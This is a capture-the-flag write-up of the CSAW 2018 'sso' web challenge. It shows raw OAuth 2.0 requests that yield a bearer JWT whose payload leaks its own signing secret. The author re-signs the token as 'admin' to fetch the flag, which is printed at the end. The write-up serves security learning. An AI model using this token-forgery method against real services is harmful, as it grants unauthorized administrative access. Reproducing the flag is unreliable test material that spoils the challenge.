# ▼▼▼sso(Web:100、210/1448=14.5％)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Don't you love undocumented APIs
Be the admin you were always meant to be
http://web.chal.csaw.io:9000
Update chal description at: 4:38 to include solve details```
---
```GET / HTTP/1.1Host: web.chal.csaw.io:9000```
↓
```  <h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1> . ```
↓
・I guess that `/protected` is a resource (flag)
・Since there is no other function, it seems to be enough to infer the parameter according to OAuth 2.0(RFC6749) and create a request
　**※RFC6749(English)　⇒　https://tools.ietf.org/html/rfc6749**
　**※RFC6749(Japanese)　⇒　http://openid-foundation-japan.github.io/rfc6749.ja.html** ---
## 【Identification of grant type】
```POST /oauth2/authorize HTTP/1.1Host: web.chal.csaw.io:9000Content-Type: application/x-www-form-urlencodedContent-Length: 19
response_type=code'```
↓
```response_type not code```
↓
I found it to be an `authorization code grant` !!!
---
## 【Create an `authorization request` and Send it】
Since I do not know `client_id`, I try to send it without giving it
**※RFC6749(English) ⇒ https://tools.ietf.org/html/rfc6749#section-4.1.1**
**※RFC6749(Japanese) ⇒ https://openid-foundation-japan.github.io/rfc6749.ja.html#code-authz-req**
↓
```POST /oauth2/authorize HTTP/1.1Host: web.chal.csaw.io:9000Content-Type: application/x-www-form-urlencodedContent-Length: 81
grant_type=authorization_code&response_type=code&redirect_uri=http://example.com/```
↓
```HTTP/1.1 302 FoundLocation: http://example.com/?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM3MDE2NTE4LCJleHAiOjE1MzcwMTcxMTh9.FjAJ1NZQLfXxRW-2_VfSEXgNxMZrRcX8d7DES5_X3jI&state=Content-Type: text/html; charset=utf-8Content-Length: 457Date: Sat, 15 Sep 2018 13:01:58 GMTConnection: keep-alive
Redirecting to http://example.com/?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM3MDE2NTE4LCJleHAiOjE1MzcwMTcxMTh9.FjAJ1NZQLfXxRW-2_VfSEXgNxMZrRcX8d7DES5_X3jI&state=.```
↓
get a code=`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM3MDE2NTE4LCJleHAiOjE1MzcwMTcxMTh9.FjAJ1NZQLfXxRW-2_VfSEXgNxMZrRcX8d7DES5_X3jI`
---
## 【Create an `access token request` and Send it】
**※RFC6749(English) ⇒ https://tools.ietf.org/html/rfc6749#section-4.1.3**
**※RFC6749(Japanese) ⇒ https://openid-foundation-japan.github.io/rfc6749.ja.html#token-req**
↓
```POST /oauth2/token HTTP/1.1Host: web.chal.csaw.io:9000Content-Type: application/x-www-form-urlencodedContent-Length: 252
grant_type=authorization_code&code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM3MDE2NTE4LCJleHAiOjE1MzcwMTcxMTh9.FjAJ1NZQLfXxRW-2_VfSEXgNxMZrRcX8d7DES5_X3jI&state=&redirect_uri=http://example.com/```
↓
```HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8Content-Length: 209Date: Sat, 15 Sep 2018 13:03:38 GMTConnection: keep-alive
{"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrU"}```
↓
get Bearer token= `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrU`
---
## 【Create an `request for getting resource ` and Send it】
The method of giving the `Bearer token` to the request is described in RFC 6750
**※RFC6750(English)　⇒　https://tools.ietf.org/html/rfc6750#section-2.1**
**※RFC6750(Japanese)　⇒　http://openid-foundation-japan.github.io/rfc6750.ja.html#authz-header**
↓
```GET /protected HTTP/1.1Host: web.chal.csaw.io:9000Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrUContent-Length: 0```
↓
```HTTP/1.1 401 UnauthorizedContent-Type: text/plain; charset=utf-8Content-Length: 12Date: Sat, 15 Sep 2018 14:13:07 GMTConnection: keep-alive
Unauthorized```
---
## 【Tampering with JWT】
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzAxNjYxOCwiZXhwIjoxNTM3MDE3MjE4fQ.iQ3yQU7ocIPMPaZEGiCL_fqzxW-tqV4ywt0LvPiSJrU
↓decode by base64
`{"alg":"HS256","typ":"JWT"}.{"type":"user","secret":"ufoundme!","iat":1537016618,"exp":1537017218}`
---
`Be the admin you were always meant to be` in Questionnaire!!
↓
"type":"user"　⇒　"type":" `admin`"
---
### 【Try and error】
#### Try:1
"alg":" `none`" was impossible
---
#### Try:2
Even if the **secret key** was specified by **brute force** and tampered with, the request did not go through...
Also, each time the secret key was different.
---
#### Try:3
Finally, the `secret` parameter was the **secret key**
---
### 【exploit】
```{"alg": "HS256","typ":"JWT"}{"type":"admin", "secret": "ufoundme!","iat":1537060581,"exp": 1537061181}secret=ufoundme!```
↓　https://jwt.io/
![](http://raw.githubusercontent.com/kazkiti/CTF-image/master/CSAW2018_sso1.png)
↓
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcwNjA1ODEsImV4cCI6MTUzNzA2MTE4MX0.Mtr677q72X5lSmSSVGt4RnWtIr7MCAKgc4b-SjqFqhA```
↓
```GET /protected HTTP/1.1Host: web.chal.csaw.io:9000Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcwNjA1ODEsImV4cCI6MTUzNzA2MTE4MX0.Mtr677q72X5lSmSSVGt4RnWtIr7MCAKgc4b-SjqFqhAContent-Length: 0```
↓
`flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}`